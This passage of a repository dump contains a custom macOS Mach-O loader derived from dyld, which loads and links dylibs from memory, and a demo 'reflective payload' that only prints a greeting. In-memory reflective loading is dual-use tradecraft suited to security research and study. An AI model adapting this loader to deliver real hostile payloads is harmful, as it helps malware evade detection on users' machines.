| * 14 | * The Original Code and all software distributed under the License are 15 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 16 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 17 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 19 | * Please see the License for the specific language governing rights and 20 | * limitations under the License. 21 | * 22 | * @APPLE_LICENSE_HEADER_END@ 23 | */ 24 | 25 | #include 26 | #include 27 | #include 28 | 29 | #include "ImageLoaderMachO.h" 30 | 31 | #include "mach-o/dyld.h" 32 | 33 | #import 34 | #import 35 | #import 36 | #import 37 | 38 | 39 | 40 | namespace isolator { 41 | 42 | // actual definition for opaque type 43 | struct __NSObjectFileImage 44 | { 45 | ImageLoader* image; 46 | const void* imageBaseAddress; // not used with OFI created from files 47 | size_t imageLength; // not used with OFI created from files 48 | }; 49 | typedef __NSObjectFileImage* NSObjectFileImage; 50 | 51 | static NSModule _dyld_link_module(NSObjectFileImage object_addr, size_t object_size, const char* moduleName, uint32_t options); 52 | 53 | 54 | extern ImageLoader::LinkContext g_linkContext; 55 | 56 | thread_local char* _err_buf = nullptr; 57 | thread_local size_t _err_buf_size = 0; 58 | 59 | void clean_error() { 60 | if (_err_buf) 61 | _err_buf[0] = 0; 62 | } 63 | 64 | void set_dlerror(const std::string &msg) { 65 | if (msg.size() >= _err_buf_size) { 66 | if (_err_buf) 67 | free(_err_buf); 68 | 69 | _err_buf = static_cast(malloc(msg.size() + 1)); 70 | _err_buf_size = msg.size() + 1; 71 | } 72 | strcpy(_err_buf, msg.c_str()); 73 | } 74 | 75 | static bool is_absolute_path(const char * path) { 76 | return path && path[0] == '/'; 77 | } 78 | 79 | std::string base_name(const std::string &path) { 80 | return path.substr(path.find_last_of("/\\") + 1); 81 | } 82 | 83 | void* with_limitation(std::string msg) { 84 | static std::string disclaimer = "\n" 85 | "DISCLAIMER: You are using non system mach-o dynamic loader. " 86 | "Avoid to using it in production code.\n"; 87 | set_dlerror("Limitation: " + msg + disclaimer); 88 | return nullptr; 89 | } 90 | 91 | void* with_error(std::string msg) { 92 | set_dlerror(msg); 93 | return nullptr; 94 | } 95 | 96 | extern "C" char* custom_dlerror(void) { 97 | if (_err_buf && _err_buf[0] == 0) 98 | return nullptr; 99 | 100 | return _err_buf; 101 | } 102 | 103 | extern "C" void* custom_dlopen(const char * __path, int __mode) { 104 | try { 105 | clean_error(); 106 | if (!is_absolute_path(__path)) 107 | return with_limitation("Only absolute path is supported. Please specify " 108 | "full path to binary."); 109 | 110 | std::fstream lib_f(__path, std::ios::in | std::ios::binary); 111 | if (!lib_f.is_open()) 112 | return with_error("File does not exist."); 113 | 114 | std::streampos fsize = lib_f.tellg(); 115 | lib_f.seekg(0, std::ios::end); 116 | fsize = lib_f.tellg() - fsize; 117 | lib_f.seekg(0, std::ios::beg); 118 | 119 | std::vector buff(fsize); 120 | lib_f.read(buff.data(), fsize); 121 | lib_f.close(); 122 | 123 | std::string file_name = base_name(__path); 124 | auto mh = reinterpret_cast(buff.data()); 125 | 126 | // Load image step 127 | auto image = ImageLoaderMachO::instantiateFromMemory(file_name.c_str(), mh, fsize, g_linkContext); 128 | 129 | bool forceLazysBound = true; 130 | bool preflightOnly = false; 131 | bool neverUnload = false; 132 | 133 | // Link step 134 | std::vector rpaths; 135 | ImageLoader::RPathChain loaderRPaths(NULL, &rpaths); 136 | image->link(g_linkContext, forceLazysBound, preflightOnly, neverUnload, loaderRPaths, __path); 137 | 138 | 139 | // Initialization of static objects step 140 | ImageLoader::InitializerTimingList initializerTimes[1]; 141 | initializerTimes[0].count = 0; 142 | image->runInitializers(g_linkContext, initializerTimes[0]); 143 | 144 | 145 | return image; 146 | } catch (const char * msg) { 147 | printf("custom_dlopen: error %s\n", msg); 148 | 149 | return with_error("Error happens during dlopen execution. " + std::string(msg)); 150 | } catch (...) { 151 | printf("custom_dlopen: error ??\n"); 152 | 153 | return with_error("Error happens during dlopen execution. Unknown reason..."); 154 | } 155 | } 156 | 157 | extern "C" void* custom_dlopen_from_memory(void* mh, int len) { 158 | 159 | const char * path = "foobar"; 160 | 161 | // Load image step 162 | auto image = ImageLoaderMachO::instantiateFromMemory(path, (macho_header*)mh, len, g_linkContext); 163 | 164 | printf("dyld: 'ImageLoaderMachO::instantiateFromMemory' completed (image addr: %p)\n", image); 165 | 166 | bool forceLazysBound = true; 167 | bool preflightOnly = false; 168 | bool neverUnload = false; 169 | 170 | // Link step 171 | std::vector rpaths; 172 | ImageLoader::RPathChain loaderRPaths(NULL, &rpaths); 173 | image->link(g_linkContext, forceLazysBound, preflightOnly, neverUnload, loaderRPaths, path); 174 | 175 | printf("dyld: 'image->link' completed\n"); 176 | 177 | // Initialization of static objects step 178 | ImageLoader::InitializerTimingList initializerTimes[1]; 179 | initializerTimes[0].count = 0; 180 | image->runInitializers(g_linkContext, initializerTimes[0]); 181 | 182 | printf("dyld: 'image->runInitializers' completed\n"); 183 | 184 | return image; 185 | 186 | } 187 | 188 | 189 | extern "C" void* custom_dlsym(void * __handle, const char * __symbol) { 190 | try { 191 | clean_error(); 192 | 193 | std::string underscoredName = "_" + std::string(__symbol); 194 | const ImageLoader* image = reinterpret_cast(__handle); 195 | 196 | auto sym = image->findExportedSymbol(underscoredName.c_str(), true, &image); 197 | if (sym != NULL) { 198 | auto addr = image->getExportedSymbolAddress(sym, g_linkContext, nullptr, false, 199 | underscoredName.c_str()); 200 | return reinterpret_cast(addr); 201 | } 202 | return with_error("Symbol " + std::string(__symbol) + " is not found."); 203 | } catch (const char * msg) { 204 | return with_error("Error happens during dlsym execution. " + std::string(msg)); 205 | } catch (...) { 206 | return with_error("Error happens during dlsym execution. Unknown reason..."); 207 | } 208 | } 209 | 210 | extern "C" int custom_dlclose(void * __handle) { 211 | if (__handle == nullptr) { 212 | set_dlerror("Error happens during dlclose execution. Handle does not refer " 213 | "to an open object."); 214 | return -1; 215 | } 216 | ImageLoader* image = reinterpret_cast(__handle); 217 | ImageLoader::deleteImage(image); 218 | return 0; 219 | } 220 | 221 | 222 | } // namespace isolator 223 | -------------------------------------------------------------------------------- /loader/src/dyld_stubs.cpp: -------------------------------------------------------------------------------- 1 | /* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- 2 | * 3 | * Copyright (c) 2021 Apple Inc. All rights reserved. 4 | * 5 | * @APPLE_LICENSE_HEADER_START@ 6 | * 7 | * This file contains Original Code and/or Modifications of Original Code 8 | * as defined in and that are subject to the Apple Public Source License 9 | * Version 2.0 (the 'License'). You may not use this file except in 10 | * compliance with the License. Please obtain a copy of the License at 11 | * http://www.opensource.apple.com/apsl/ and read it before using this 12 | * file. 13 | * 14 | * The Original Code and all software distributed under the License are 15 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 16 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 17 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 19 | * Please see the License for the specific language governing rights and 20 | * limitations under the License. 21 | * 22 | * @APPLE_LICENSE_HEADER_END@ 23 | */ 24 | 25 | /* 26 | * This file contains declaration of global g_linkContext which will be used 27 | * for macho_dlopen/macho_dlsym routines. It specify behaviour of loaders 28 | * and inject custom ImageLoaderProxy to solve external dependencies. 29 | */ 30 | 31 | #include "dyld_stubs.h" 32 | 33 | #include "ImageLoader.h" 34 | #include "ImageLoaderProxy.h" 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | 41 | namespace isolator { 42 | 43 | namespace dyld { 44 | 45 | struct dyld_all_image_infos gProcessInfo_t { true }; 46 | struct dyld_all_image_infos *gProcessInfo = &gProcessInfo_t; 47 | 48 | struct LibSystemHelpers gLibSystemHelpers_t; 49 | const struct LibSystemHelpers *gLibSystemHelpers = &gLibSystemHelpers_t; 50 | 51 | constexpr int BUFF_SIZE = 2048; 52 | 53 | void throwf(const char* format, ...) { 54 | char *buf = reinterpret_cast(malloc(BUFF_SIZE*sizeof(char))); 55 | va_list list; 56 | va_start(list, format); 57 | vsprintf(buf, format, list); 58 | va_end(list); 59 | throw static_cast(buf); 60 | } 61 | 62 | void log(const char* format, ...) { 63 | va_list list; 64 | va_start(list, format); 65 | vprintf(format, list); 66 | va_end(list); 67 | } 68 | 69 | void warn(const char* format, ...) { 70 | va_list list; 71 | va_start(list, format); 72 | printf(format, list); 73 | va_end(list); 74 | } 75 | 76 | const char* mkstringf(const char* format, ...) { 77 | char *buf = reinterpret_cast(malloc(BUFF_SIZE*sizeof(char))); 78 | va_list list; 79 | va_start(list, format); 80 | vsprintf(buf, format, list); 81 | va_end(list); 82 | return buf; 83 | } 84 | 85 | bool isTranslated() { 86 | return false; 87 | } 88 | } 89 | 90 | /** mmap/alloc functions. Suffix "__" added to avoid intersection with original implementations form dyld */ 91 | extern "C" int vm_alloc__(vm_address_t* addr, vm_size_t size, uint32_t flags) { 92 | return ::vm_allocate(mach_task_self(), addr, size, flags); 93 | } 94 | 95 | extern "C" void* xmmap__(void* addr, size_t len, int prot, int flags, int fd, off_t offset) { 96 | return ::mmap(addr, len, prot, flags, fd, offset); 97 | } 98 | 99 | /** Stub to do nothing. Will be never called */ 100 | extern "C" int _dyld_func_lookup__(const char* name, void** address) { 101 | *address = 0; 102 | return false; 103 | } 104 | 105 | /** Stub to do nothing. only for x86 */ 106 | void addAotImagesToAllAotImages(uint32_t aotInfoCount, const dyld_aot_image_info aotInfo[]) {}; 107 | 108 | /** Stubs to do nothing. To isolate form system link context */ 109 | void stub_notifySingle(dyld_image_states, const ImageLoader* image, ImageLoader::InitializerTimingList*) {} 110 | 111 | void stub_notifyBatch(dyld_image_states state, bool preflightOnly) {} 112 | 113 | void stub_setErrorStrings(unsigned errorCode, const char* errorClientOfDylibPath, 114 | const char* errorTargetDylibPath, const char* errorSymbol) {} 115 | 116 | void stub_clearAllDepths() {} 117 | 118 | unsigned int stub_imageCount() { return 0; }; 119 | 120 | void stub_addDynamicReference(ImageLoader* from, ImageLoader* to) { 121 | // ImageLoaderProxy doesn't require holding. 122 | if (dynamic_cast(to) == nullptr) 123 | dyld::throwf("addDynamicReference: unsupported case"); 124 | } 125 | 126 | bool stub_flatExportFinder(const char* name, const ImageLoader::Symbol** sym, const ImageLoader** image) { 127 | ImageLoader* globImage = ImageLoaderProxy::instantiateDefault(); 128 | 129 | *sym = globImage->findExportedSymbol(name, true, image); 130 | return sym != nullptr; 131 | } 132 | 133 | ImageLoader* stub_loadLibrary(const char* libraryName, bool search, const char* origin, 134 | const ImageLoader::RPathChain* rpaths, unsigned& cacheIndex) { 135 | return ImageLoaderProxy::instantiate(libraryName); 136 | } 137 | 138 | unsigned int stub_getCoalescedImages(ImageLoader* images[], unsigned imageIndex[]) { 139 | return 0; 140 | } 141 | 142 | static ImageLoader::LinkContext make_default_link_context() { 143 | ImageLoader::LinkContext ctx = {}; // zeroing 144 | 145 | // Global notification symbols. Do nothing 146 | ctx.notifyBatch = stub_notifyBatch; 147 | ctx.notifySingle = stub_notifySingle; 148 | ctx.setErrorStrings = stub_setErrorStrings; 149 | 150 | ctx.clearAllDepths = stub_clearAllDepths; 151 | ctx.imageCount = stub_imageCount; 152 | 153 | // Enforce flat bind 154 | ctx.bindFlat = true; // 155 | ctx.prebindUsage = ImageLoader::kUseNoPrebinding; 156 | 157 | // Integrate ImageLoaderProxy image into recurrent 158 | // initialization of dependencies. 159 | ctx.addDynamicReference = stub_addDynamicReference; 160 | ctx.flatExportFinder = stub_flatExportFinder; 161 | ctx.getCoalescedImages = stub_getCoalescedImages; 162 | ctx.loadLibrary = stub_loadLibrary; 163 | 164 | return ctx; 165 | } 166 | 167 | // Global linker contexts to use from macho_dlopen/macho_dlsym 168 | ImageLoader::LinkContext g_linkContext = make_default_link_context(); 169 | 170 | } 171 | -------------------------------------------------------------------------------- /loader/src/dyld_stubs.h: -------------------------------------------------------------------------------- 1 | /* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- 2 | * 3 | * Copyright (c) 2021 Apple Inc. All rights reserved. 4 | * 5 | * @APPLE_LICENSE_HEADER_START@ 6 | * 7 | * This file contains Original Code and/or Modifications of Original Code 8 | * as defined in and that are subject to the Apple Public Source License 9 | * Version 2.0 (the 'License'). You may not use this file except in 10 | * compliance with the License. Please obtain a copy of the License at 11 | * http://www.opensource.apple.com/apsl/ and read it before using this 12 | * file. 13 | * 14 | * The Original Code and all software distributed under the License are 15 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 16 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 17 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 19 | * Please see the License for the specific language governing rights and 20 | * limitations under the License. 21 | * 22 | * @APPLE_LICENSE_HEADER_END@ 23 | */ 24 | 25 | /* 26 | * This file contains dyld specific structure declaration, util functions 27 | * and global objects. 28 | */ 29 | 30 | 31 | #ifndef __DYLD_STUBS__ 32 | #define __DYLD_STUBS__ 33 | 34 | #include 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | 41 | namespace isolator { 42 | 43 | struct dyld_interpose_tuple { 44 | const void* replacement; 45 | const void* replacee; 46 | }; 47 | 48 | namespace dyld { 49 | // Means that libSystem is already initialized 50 | struct dyld_all_image_infos { 51 | bool libSystemInitialized; 52 | }; 53 | extern struct dyld_all_image_infos* gProcessInfo; 54 | 55 | struct LibSystemHelpers {}; 56 | extern const struct LibSystemHelpers* gLibSystemHelpers; 57 | 58 | // Stub, always false. Only for x86 59 | bool isTranslated(); 60 | } 61 | 62 | namespace dyld3 { 63 | // Alias on system stat. Only for x86 64 | const auto stat = ::stat; 65 | } 66 | 67 | } 68 | 69 | #endif // __DYLD_STUBS__ 70 | -------------------------------------------------------------------------------- /payload/README.md: -------------------------------------------------------------------------------- 1 | This is a simple example of reflective payload. 2 | 3 | Notes: 4 | 1. Its Mimimum Deployment is set to macOS 11 to ensure its build without LC_DYLD_CHAINED_FIXUPS (which the loader doesn't support). 5 | 2. It contains a constructor `__attribute__((constructor))` that will be automatically executed when the payload is reflectively loaded. 6 | -------------------------------------------------------------------------------- /payload/payload.m: -------------------------------------------------------------------------------- 1 | // 2 | // payload.m 3 | 4 | #include 5 | #include 6 | 7 | __attribute__((constructor)) 8 | void my_constructor(void) { 9 | 10 | printf("\n[In-Memory Payload] Hello (reflectively loaded) World!\n"); 11 | 12 | void* func_address = (void*)my_constructor; 13 | size_t page_size = getpagesize(); 14 | void* page_address = (void*)((uintptr_t)func_address & ~(page_size - 1)); 15 | 16 | printf("[In-Memory Payload] I'm loaded at: %p\n\n", page_address); 17 | 18 | } 19 | 20 | 21 | -------------------------------------------------------------------------------- /payload/payload.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 56; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | CDEDEC732C702DF50041D7B8 /* payload.m in Sources */ = {isa = PBXBuildFile; fileRef = CDEDEC722C702DF50041D7B8 /* payload.m */; }; 11 | /* End PBXBuildFile section */ 12 | 13 | /* Begin PBXFileReference section */ 14 | CDEDEC6D2C702DF50041D7B8 /* libpayload.dylib */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.dylib"; includeInIndex = 0; path = libpayload.dylib; sourceTree = BUILT_PRODUCTS_DIR; }; 15 | CDEDEC722C702DF50041D7B8 /* payload.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = payload.m; sourceTree = ""; }; 16 | /* End PBXFileReference section */ 17 | 18 | /* Begin PBXFrameworksBuildPhase section */ 19 | CDEDEC6B2C702DF50041D7B8 /* Frameworks */ = { 20 | isa = PBXFrameworksBuildPhase; 21 | buildActionMask = 2147483647; 22 | files = ( 23 | ); 24 | runOnlyForDeploymentPostprocessing = 0; 25 | }; 26 | /* End PBXFrameworksBuildPhase section */ 27 | 28 | /* Begin PBXGroup section */ 29 | CDEDEC642C702DF50041D7B8 = { 30 | isa = PBXGroup; 31 | children = ( 32 | CDEDEC722C702DF50041D7B8 /* payload.m */, 33 | CDEDEC6E2C702DF50041D7B8 /* Products */, 34 | ); 35 | sourceTree = ""; 36 | }; 37 | CDEDEC6E2C702DF50041D7B8 /* Products */ = { 38 | isa = PBXGroup; 39 | children = ( 40 | CDEDEC6D2C702DF50041D7B8 /* libpayload.dylib */, 41 | ); 42 | name = Products; 43 | sourceTree = ""; 44 | }; 45 | /* End PBXGroup section */ 46 | 47 | /* Begin PBXHeadersBuildPhase section */ 48 | CDEDEC692C702DF50041D7B8 /* Headers */ = { 49 | isa = PBXHeadersBuildPhase; 50 | buildActionMask = 2147483647; 51 | files = ( 52 | ); 53 | runOnlyForDeploymentPostprocessing = 0; 54 | }; 55 | /* End PBXHeadersBuildPhase section */ 56 | 57 | /* Begin PBXNativeTarget section */ 58 | CDEDEC6C2C702DF50041D7B8 /* payload */ = { 59 | isa = PBXNativeTarget; 60 | buildConfigurationList = CDEDEC762C702DF50041D7B8 /* Build configuration list for PBXNativeTarget "payload" */; 61 | buildPhases = ( 62 | CDEDEC692C702DF50041D7B8 /* Headers */, 63 | CDEDEC6A2C702DF50041D7B8 /* Sources */, 64 | CDEDEC6B2C702DF50041D7B8 /* Frameworks */, 65 | ); 66 | buildRules = ( 67 | ); 68 | dependencies = ( 69 | ); 70 | name = payload; 71 | productName = dylib; 72 | productReference = CDEDEC6D2C702DF50041D7B8 /* libpayload.dylib */; 73 | productType = "com.apple.product-type.library.dynamic"; 74 | }; 75 | /* End PBXNativeTarget section */ 76 | 77 | /* Begin PBXProject section */ 78 | CDEDEC652C702DF50041D7B8 /* Project object */ = { 79 | isa = PBXProject; 80 | attributes = { 81 | BuildIndependentTargetsInParallel = 1; 82 | LastUpgradeCheck = 1540; 83 | TargetAttributes = { 84 | CDEDEC6C2C702DF50041D7B8 = { 85 | CreatedOnToolsVersion = 15.4; 86 | }; 87 | }; 88 | }; 89 | buildConfigurationList = CDEDEC682C702DF50041D7B8 /* Build configuration list for PBXProject "payload" */; 90 | compatibilityVersion = "Xcode 14.0"; 91 | developmentRegion = en; 92 | hasScannedForEncodings = 0; 93 | knownRegions = ( 94 | en, 95 | Base, 96 | ); 97 | mainGroup = CDEDEC642C702DF50041D7B8; 98 | productRefGroup = CDEDEC6E2C702DF50041D7B8 /* Products */; 99 | projectDirPath = ""; 100 | projectRoot = ""; 101 | targets = ( 102 | CDEDEC6C2C702DF50041D7B8 /* payload */, 103 | ); 104 | }; 105 | /* End PBXProject section */ 106 | 107 | /* Begin PBXSourcesBuildPhase section */ 108 | CDEDEC6A2C702DF50041D7B8 /* Sources */ = { 109 | isa = PBXSourcesBuildPhase; 110 | buildActionMask = 2147483647; 111 | files = ( 112 | CDEDEC732C702DF50041D7B8 /* payload.m in Sources */, 113 | ); 114 | runOnlyForDeploymentPostprocessing = 0; 115 | }; 116 | /* End PBXSourcesBuildPhase section */ 117 | 118 | /* Begin XCBuildConfiguration section */ 119 | CDEDEC742C702DF50041D7B8 /* Debug */ = { 120 | isa = XCBuildConfiguration; 121 | buildSettings = { 122 | ALWAYS_SEARCH_USER_PATHS = NO; 123 | ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; 124 | CLANG_ANALYZER_NONNULL = YES; 125 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 126 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 127 | CLANG_ENABLE_MODULES = YES; 128 | CLANG_ENABLE_OBJC_ARC = YES; 129 | CLANG_ENABLE_OBJC_WEAK = YES; 130 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 131 | CLANG_WARN_BOOL_CONVERSION = YES; 132 | CLANG_WARN_COMMA = YES; 133 | CLANG_WARN_CONSTANT_CONVERSION = YES; 134 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 135 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 136 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 137 | CLANG_WARN_EMPTY_BODY = YES; 138 | CLANG_WARN_ENUM_CONVERSION = YES; 139 | CLANG_WARN_INFINITE_RECURSION = YES; 140 | CLANG_WARN_INT_CONVERSION = YES; 141 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 142 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 143 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 144 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 145 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 146 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 147 | CLANG_WARN_STRICT_PROTOTYPES = YES; 148 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 149 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 150 | CLANG_WARN_UNREACHABLE_CODE = YES; 151 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 152 | COPY_PHASE_STRIP = NO; 153 | DEBUG_INFORMATION_FORMAT = dwarf; 154 | ENABLE_STRICT_OBJC_MSGSEND = YES; 155 | ENABLE_TESTABILITY = YES; 156 | ENABLE_USER_SCRIPT_SANDBOXING = YES; 157 | GCC_C_LANGUAGE_STANDARD = gnu17; 158 | GCC_DYNAMIC_NO_PIC = NO; 159 | GCC_NO_COMMON_BLOCKS = YES; 160 | GCC_OPTIMIZATION_LEVEL = 0; 161 | GCC_PREPROCESSOR_DEFINITIONS = ( 162 | "DEBUG=1", 163 | "$(inherited)", 164 | ); 165 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 166 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 167 | GCC_WARN_UNDECLARED_SELECTOR = YES; 168 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 169 | GCC_WARN_UNUSED_FUNCTION = YES; 170 | GCC_WARN_UNUSED_VARIABLE = YES; 171 | LOCALIZATION_PREFERS_STRING_CATALOGS = YES; 172 | MACOSX_DEPLOYMENT_TARGET = 14.5; 173 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; 174 | MTL_FAST_MATH = YES; 175 | ONLY_ACTIVE_ARCH = YES; 176 | SDKROOT = macosx; 177 | }; 178 | name = Debug; 179 | }; 180 | CDEDEC752C702DF50041D7B8 /* Release */ = { 181 | isa = XCBuildConfiguration; 182 | buildSettings = { 183 | ALWAYS_SEARCH_USER_PATHS = NO; 184 | ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; 185 | CLANG_ANALYZER_NONNULL = YES; 186 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 187 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 188 | CLANG_ENABLE_MODULES = YES; 189 | CLANG_ENABLE_OBJC_ARC = YES; 190 | CLANG_ENABLE_OBJC_WEAK = YES; 191 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 192 | CLANG_WARN_BOOL_CONVERSION = YES; 193 | CLANG_WARN_COMMA = YES; 194 | CLANG_WARN_CONSTANT_CONVERSION = YES; 195 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 196 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 197 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 198 | CLANG_WARN_EMPTY_BODY = YES; 199 | CLANG_WARN_ENUM_CONVERSION = YES; 200 | CLANG_WARN_INFINITE_RECURSION = YES; 201 | CLANG_WARN_INT_CONVERSION = YES; 202 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 203 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 204 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 205 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 206 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 207 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 208 | CLANG_WARN_STRICT_PROTOTYPES = YES; 209 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 210 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 211 | CLANG_WARN_UNREACHABLE_CODE = YES; 212 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 213 | COPY_PHASE_STRIP = NO; 214 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 215 | ENABLE_NS_ASSERTIONS = NO; 216 | ENABLE_STRICT_OBJC_MSGSEND = YES; 217 | ENABLE_USER_SCRIPT_SANDBOXING = YES; 218 | GCC_C_LANGUAGE_STANDARD = gnu17; 219 | GCC_NO_COMMON_BLOCKS = YES; 220 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 221 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 222 | GCC_WARN_UNDECLARED_SELECTOR = YES; 223 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 224 | GCC_WARN_UNUSED_FUNCTION = YES; 225 | GCC_WARN_UNUSED_VARIABLE = YES; 226 | LOCALIZATION_PREFERS_STRING_CATALOGS = YES; 227 | MACOSX_DEPLOYMENT_TARGET = 14.5; 228 | MTL_ENABLE_DEBUG_INFO = NO; 229 | MTL_FAST_MATH = YES; 230 | SDKROOT = macosx; 231 | }; 232 | name = Release; 233 | }; 234 | CDEDEC772C702DF50041D7B8 /* Debug */ = { 235 | isa = XCBuildConfiguration; 236 | buildSettings = { 237 | CODE_SIGN_STYLE = Automatic; 238 | DYLIB_COMPATIBILITY_VERSION = 1; 239 | DYLIB_CURRENT_VERSION = 1; 240 | EXECUTABLE_PREFIX = lib; 241 | MACOSX_DEPLOYMENT_TARGET = 11.0; 242 | PRODUCT_NAME = "$(TARGET_NAME)"; 243 | SKIP_INSTALL = YES; 244 | }; 245 | name = Debug; 246 | }; 247 | CDEDEC782C702DF50041D7B8 /* Release */ = { 248 | isa = XCBuildConfiguration; 249 | buildSettings = { 250 | CODE_SIGN_STYLE = Automatic; 251 | DYLIB_COMPATIBILITY_VERSION = 1; 252 | DYLIB_CURRENT_VERSION = 1; 253 | EXECUTABLE_PREFIX = lib; 254 | MACOSX_DEPLOYMENT_TARGET = 11.0; 255 | PRODUCT_NAME = "$(TARGET_NAME)"; 256 | SKIP_INSTALL = YES; 257 | }; 258 | name = Release; 259 | }; 260 | /* End XCBuildConfiguration section */ 261 | 262 | /* Begin XCConfigurationList section */ 263 | CDEDEC682C702DF50041D7B8 /* Build configuration list for PBXProject "payload" */ = { 264 | isa = XCConfigurationList; 265 | buildConfigurations = ( 266 | CDEDEC742C702DF50041D7B8 /* Debug */, 267 | CDEDEC752C702DF50041D7B8 /* Release */, 268 | ); 269 | defaultConfigurationIsVisible = 0; 270 | defaultConfigurationName = Release; 271 | }; 272 | CDEDEC762C702DF50041D7B8 /* Build configuration list for PBXNativeTarget "payload" */ = { 273 | isa = XCConfigurationList; 274 | buildConfigurations = ( 275 | CDEDEC772C702DF50041D7B8 /* Debug */, 276 | CDEDEC782C702DF50041D7B8 /* Release */, 277 | ); 278 | defaultConfigurationIsVisible = 0; 279 | defaultConfigurationName = Release; 280 | }; 281 | /* End XCConfigurationList section */ 282 | }; 283 | rootObject = CDEDEC652C702DF50041D7B8 /* Project object */; 284 | } 285 | -------------------------------------------------------------------------------- /payload/payload.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | --------------------------------------------------------------------------------